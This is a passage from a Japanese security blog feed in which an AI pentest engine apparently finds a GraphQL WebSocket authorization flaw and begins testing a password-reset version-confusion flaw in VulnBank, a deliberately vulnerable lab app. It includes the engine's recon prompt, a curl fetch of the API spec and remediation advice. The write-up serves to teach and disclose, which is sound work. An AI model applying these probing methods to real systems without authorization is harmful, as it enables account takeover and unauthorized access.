&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"translateContent"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hello"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"isFinal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"subscriptionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yrpsrqkv7li34w23r25dx4b2"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
これは、関数レベルの認可の不備（BFLA）脆弱性の決定的な証拠です。認証なしの攻撃者が&lt;code&gt;translateContent&lt;/code&gt;関数を実行し、その結果を受け取ることができます。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="ステップ5:graphqlサブスクリプションにおける一貫性のない認可の特定"&gt;ステップ5：GraphQLサブスクリプションにおける一貫性のない認可の特定&lt;/h3&gt;
&lt;p&gt;この問題の範囲を把握するため、エンジンは発見したもう一つのサブスクリプション&lt;code&gt;generateSamplePromptResult&lt;/code&gt;もテストしました。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;code&gt;generateSamplePromptResult&lt;/code&gt;への認証なしのサブスクリプションを一度試み、操作ごとの認可を評価する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;実行概要：&lt;/strong&gt;
エンジンは、&lt;code&gt;generateSamplePromptResult&lt;/code&gt;に対する有効な、認証なしのサブスクリプションリクエストを送信しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結果：&lt;/strong&gt;
サーバーはただちにコード&lt;code&gt;4500&lt;/code&gt;、理由&lt;code&gt;"You are not authorized to perform this action"&lt;/code&gt;で接続を閉じました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;
この操作については認可が正しく適用されています。この検出結果は極めて重要です。なぜなら、それは&lt;strong&gt;一貫性のないセキュリティ制御&lt;/strong&gt;を示しているからです。これは、開発者が一部のエンドポイントを保護しながら他のエンドポイントを見落とす、よくあるアンチパターンです。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="最終レポート:graphql websocket bflaに関するostorlabの検出結果"&gt;最終レポート：GraphQL WebSocket BFLAに関するOstorlabの検出結果&lt;/h2&gt;
&lt;h3 id="1. エグゼクティブサマリー"&gt;1. エグゼクティブサマリー&lt;/h3&gt;
&lt;p&gt;OstorlabのAIペンテストエンジンは、&lt;code&gt;wss://REDACTED/subscriptions&lt;/code&gt;にあるGraphQL WebSocketエンドポイントにおいて、クリティカルな関数レベルの認可の不備（BFLA）脆弱性を発見しました。&lt;code&gt;translateContent&lt;/code&gt;サブスクリプション操作が公開された状態になっており、認証なしのあらゆるユーザーがそれを実行してストリーミング結果を受け取ることができました。これは直接的な権限バイパスに当たり、リソースの悪用や潜在的なデータ露出につながる可能性があります。エンジンはまた、同じエンドポイント上の他のサブスクリプションがアクセス制御を正しく適用していたことから、一貫性のない認可にも気づきました。&lt;/p&gt;
&lt;h3 id="2. 手法"&gt;2. 手法&lt;/h3&gt;
&lt;p&gt;AIエンジンは、WebSocketの認可をテストするための体系的な手法に従いました。
1.  &lt;strong&gt;エンドポイントの発見：&lt;/strong&gt;GraphQL WebSocketエンドポイントとそのプロトコル（&lt;code&gt;graphql-transport-ws&lt;/code&gt;）を特定しました。
2.  &lt;strong&gt;認証なしのベースライン：&lt;/strong&gt;サーバーが認証なしの&lt;code&gt;connection_init&lt;/code&gt;ハンドシェイクを受け入れることを確認しました。
3.  &lt;strong&gt;スキーマの列挙：&lt;/strong&gt;認証なしのGraphQLイントロスペクションを活用し、利用可能なサブスクリプション操作を発見しました。
4.  &lt;strong&gt;操作ごとのテスト：&lt;/strong&gt;発見したサブスクリプション（&lt;code&gt;translateContent&lt;/code&gt;、&lt;code&gt;generateSamplePromptResult&lt;/code&gt;）を順に試し、認証なしでの実行を試みました。
5.  &lt;strong&gt;エビデンスの確認：&lt;/strong&gt;ステータスメッセージだけでなく、具体的なデータフィールドを要求して受け取ることで、データ漏えいを確認しました。&lt;/p&gt;
&lt;h3 id="3. 検出結果"&gt;3. 検出結果&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;translateContent&lt;/code&gt;サブスクリプションにおけるBFLA：&lt;/strong&gt;主要な検出結果は、&lt;code&gt;translateContent&lt;/code&gt;サブスクリプションに認可チェックが一切欠けていることです。攻撃者は、認証なしで接続、サブスクライブし、翻訳結果を受け取ることができます。これは、有効なペイロードを送信し、応答として翻訳されたテキストを受け取ることで確認されました。この脆弱性は、明示的に&lt;em&gt;無効な&lt;/em&gt;トークンであっても無視されることを示すことで、さらに裏付けられました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証なしのイントロスペクションを介した情報漏えい：&lt;/strong&gt;サブスクリプション向けのGraphQLスキーマがWebSocket経由で公開されており、攻撃者が利用可能な操作とそれらが必要とする入力を容易に発見できてしまいます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一貫性のない認可制御：&lt;/strong&gt;&lt;code&gt;translateContent&lt;/code&gt;は脆弱でしたが、同じエンドポイント上の&lt;code&gt;generateSamplePromptResult&lt;/code&gt;サブスクリプションは、認証なしのリクエストを正しく拒否しました。この不整合は、脆弱なリゾルバーにアノテーションまたはセキュリティ制御が欠けていることを示唆しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4. 修復"&gt;4. 修復&lt;/h3&gt;
&lt;p&gt;これらの検出結果に対処するため、次のことを推奨します。
1.  &lt;strong&gt;デフォルトで認証を適用する：&lt;/strong&gt;デフォルト拒否のポリシーを実装してください。すべてのGraphQLリゾルバー、特にサブスクリプション向けのものは、明示的に公開とマークされていない限り、有効な認証済みセッションを必須とすべきです。
2.  &lt;strong&gt;認可ロジックを一元化する：&lt;/strong&gt;ミドルウェアまたはフレームワークレベルのフックを使い、接続時とあらゆるサブスクリプションリクエスト時の両方で、すべてのWebSocket操作にわたって認証と認可のチェックを一貫して適用してください。
3.  &lt;strong&gt;本番環境ではイントロスペクションを無効化する：&lt;/strong&gt;GraphQLのイントロスペクションは開発には役立ちますが、攻撃者がAPIの対象領域を容易にマッピングするのを防ぐため、公開されているエンドポイントでは無効化すべきです。&lt;/p&gt;
&lt;h3 id="5. まとめ"&gt;5. まとめ&lt;/h3&gt;
&lt;p&gt;現代のリアルタイムAPIを保護するには、認可が一貫して適用される多層防御のアプローチが必要です。本ケーススタディは、OstorlabのAIペンテストエンジンが、複雑なWebSocket実装において、BFLAや一貫性のないセキュリティ制御のような、見落とされやすいながらもクリティカルな欠陥を体系的に発見できることを示しています。発見から悪用に至るまで、攻撃者の論理的な進め方を模倣することで、エンジンは決定的で実行可能なエビデンスを提供し、開発者がより安全なアプリケーションを構築するのを支援します。&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="ai"/><category term="poc"/><category term="pentest"/><category term="graphql"/></entry><entry><title>AIエンジンがAPIバージョン混同を悪用してアカウント乗っ取りを実現</title><link href="https://blog.ostorlab.co/ja/ai-engine-password-reset-version-confusion.html" rel="alternate"/><published>2025-12-15T10:00:00+01:00</published><updated>2025-12-15T10:00:00+01:00</updated><author><name>Amine Atyq</name></author><id>tag:blog.ostorlab.co,2025-12-15:/ja/ai-engine-password-reset-version-confusion.html</id><summary type="html">&lt;p&gt;体系的な分析が闇雲なファジングに勝る実例として、OstorlabのAIエンジンがバージョンをまたぐパスワードリセットの弱点を発見し、メールにアクセスすることなくアカウント乗っ取りを実現しました。&lt;/p&gt;</summary><content type="html">&lt;p&gt;当社のAIペンテストエンジンのライブデモの最中に、ある参加者が「それはいいけど、&lt;em&gt;これ&lt;/em&gt;はできるの？」という類いの質問を投げかけてきました：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「APIバージョン混同のバグを実際に見つけて、アカウント乗っ取りにまでつなげられるのか？」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;用意していた定番のネタはなかったので、脆弱性を含むターゲット、今回の場合はAl-Amir Badmus氏が作成した意図的に脆弱な銀行アプリであるVulnBankにエンジンを向け、そのまま走らせました。返ってきたのは、トレーニング用のラボにだけ存在して本番アプリには存在しないことを&lt;em&gt;願う&lt;/em&gt;ような類いのものでした。ユーザー名さえあればアカウントを乗っ取れる、パスワードリセットのバージョン混同の不備です。&lt;/p&gt;
&lt;p&gt;何が起きたのかを順を追って見ていきましょう。&lt;/p&gt;
&lt;h2 id="前提:v1は危険、v2は安全...本当に?"&gt;前提：v1は危険、v2は安全&amp;hellip;本当に？&lt;/h2&gt;
&lt;p&gt;VulnBankは、2つのAPIバージョンでパスワードリセットのフローを公開しています：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POST /api/v1/forgot-password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST /api/v2/forgot-password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST /api/v1/reset-password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST /api/v2/reset-password&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OpenAPI仕様は、何が起きているのかを&lt;em&gt;明示的に教えてくれ&lt;/em&gt;ています：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;v1&lt;/strong&gt;：「完全なデータ露出」。&lt;code&gt;debug_info&lt;/code&gt;に3桁のリセットPINが含まれます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;v2&lt;/strong&gt;：「データ露出の削減」。PINは露出されず、&lt;code&gt;debug_info&lt;/code&gt;は存在しません。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり、建前上は：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;v1 =「レガシーで情報が漏れるため、本番環境では使用しないこと」。&lt;/li&gt;
&lt;li&gt;v2 =「修正済みで洗練され、はるかに安全」。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ところが、両バージョンは同じバックエンドの状態を共有しています。同じPINストア、同じユーザー、何もかもが同じです。そして、ここからが本題です。&lt;/p&gt;
&lt;h2 id="aiはどうアプローチしたか(そしてなぜそれが重要か)"&gt;AIはどうアプローチしたか（そしてなぜそれが重要か）&lt;/h2&gt;
&lt;p&gt;ほとんどのスキャナーは「3桁のPIN」を見ると、2秒間だけ弱いエントロピーについて騒ぎ立て、次の500個のエンドポイントへ移っていくでしょう。&lt;/p&gt;
&lt;p&gt;AIエンジンは、もっと&amp;hellip;人間らしいことをしました：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. OpenAPI仕様を解析した&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;openapi.json&lt;/code&gt;を取得し、パスワードリセットに関するものを探し、&lt;code&gt;/api/v{version}/forgot-password&lt;/code&gt;と&lt;code&gt;/api/v{version}/reset-password&lt;/code&gt;を見つけました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. バージョンごとの挙動の違いに気づいた&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;仕様には文字どおり次のように記載されています：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;v1：&lt;code&gt;debug_info&lt;/code&gt;にPINが含まれる。&lt;/li&gt;
&lt;li&gt;v2：PINは露出されず、&lt;code&gt;debug_info&lt;/code&gt;はなくなる。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これは大きな危険信号です。同じ機能、異なるセキュリティ特性、同じバックエンド。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 仮説を立てた&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;「両バージョンがバックエンドの状態を共有していて、一方がPINを漏らすなら、v1で開始してv2で引き換えられるのではないか？」&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. その仮説を体系的に検証した&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ファジングの嵐もなければ、「何かが壊れるまでとにかく叩き続けよう」もありません。明確な目的を持った、慎重に選ばれた少数のリクエストだけです。&lt;/p&gt;
&lt;p&gt;決定的な違いは、エンドポイントだけでなくアーキテクチャを理解する点にあります。まさにここが、従来のファジングと推論駆動型のエンジンが分かれる地点です。&lt;/p&gt;
&lt;h2 id="エンジンは実際にどうやったか:その証明"&gt;エンジンは実際にどうやったか：その証明&lt;/h2&gt;
&lt;p&gt;この脆弱性を実証した、実際のAIツールの実行、すなわち本物のコマンドとレスポンスを見てみましょう。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;strong&gt;リスクインテリジェンスの出力&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;エンジンのリスクインテリジェンスのステップは、次のリスクを指摘しました：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;POST &lt;code&gt;/api/v1/reset-password&lt;/code&gt;とPOST &lt;code&gt;/api/v2/reset-password&lt;/code&gt;にまたがるパスワードリセットのバージョン混同：両バージョンを試し、v2がより強固である一方で、v1の弱い検証やUXが悪用され、ユーザーを安全でないリセットへ誘導できないかを確認する。レート制限、トークンの有効期間や形式、エラーメッセージ、そしてバージョンをまたぐフロー（v1で開始してv2で引き換える、またはその逆）が可能かどうかを比較する。古いエンドポイントを廃止するか、または同等の挙動を強制し、ユーザーへの明確なメッセージを徹底する。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以下は、エンジンがこのリスクを体系的に検証した方法です。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;strong&gt;システムプロンプト：初期偵察&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;OpenAPI仕様を取得して解析し、パスワードリセットのエンドポイントを列挙する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アクション&lt;/strong&gt;：ブラウザーに似たUser-AgentでHTTP/1.1のkeep-aliveを使い、https://vulnbank.org/static/openapi.json にGETリクエストを正確に1回だけ送信する。リダイレクトは追わず、このタスクでは追加のリクエストを一切行わない。レートは5rps未満に保つ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;取得すべきエビデンス&lt;/strong&gt;：この単一の取得について、生のHTTPリクエストとレスポンス（ステータス、ヘッダー、ボディ）をすべて保存する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解析の目標&lt;/strong&gt;（JSONのみから、これ以上のネットワーク呼び出しは行わない）：開始と引き換え／確認を含む、パスワードリセットに関連するすべてのパスを列挙する。特に次を探す：/api/v1/reset-password と /api/v2/reset-password（メソッド、リクエストボディのスキーマ、email/captcha/MFAトークンなどの必須フィールド）、確認／引き換え用のエンドポイント（例：/api/v1/reset-password/confirm、/api/v2/reset-password/confirm）、代替または類似のパス。発見した各エンドポイントについて、次を記録する：HTTPメソッド、リクエストボディのスキーマ（フィールド名、型、必須フラグ）と、存在すればサンプルペイロード、レスポンスコードとサンプル／エラーメッセージ、文書化されたセキュリティ要件、そしてv1とv2のバージョン固有の差異。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;使用ツール&lt;/strong&gt;：curl&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;引数&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;curl_args&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-sS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--http1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;https&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="nt"&gt;vulnbank&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;static&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;openapi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;出力&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Fri, 07 Nov 2025 12:21:20 GMT&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;44061&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;keep-alive&lt;/span&gt;
&lt;span class="na"&gt;Content-Disposition&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;inline; filename=openapi.json&lt;/span&gt;
&lt;span class="na"&gt;Last-Modified&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Mon, 13 Oct 2025 18:26:24 GMT&lt;/span&gt;
&lt;span class="na"&gt;Cache-Control&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;no-cache&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;cloudflare&lt;/span&gt;
&lt;span class="na"&gt;cf-cache-status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;DYNAMIC&lt;/span&gt;
&lt;span class="na"&gt;Nel&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}&lt;/span&gt;
&lt;span class="na"&gt;Report-To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xGVbpMhRS34xZfjqdwOxLDgRUnOpqgDl7wUbKBP2gRog2Kaj0VPc9IvnPUqyGqCWx5jYshRIuONIdltkxgmILrGXGq0DukPtK3WMDg%3D%3D"}]}&lt;/span&gt;
&lt;span class="na"&gt;CF-RAY&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;99acca323ca1d3b1-FRA&lt;/span&gt;
&lt;span class="na"&gt;alt-svc&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;h3=":443"; ma=86400&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"openapi"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"3.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Vulnerable Bank API"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"API documentation for the deliberately vulnerable banking application"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"contact"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Vulnerable Bank Support"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://github.com/Commando-X/vuln-bank"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"servers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://vulnbank.org"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Controlled Production Server"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"authentication"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authentication related endpoints"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"transactions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Transaction management endpoints"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"users"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"User management endpoints"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Administrative endpoints"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"virtual-cards"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Virtual card management endpoints"&lt;/span&gt;
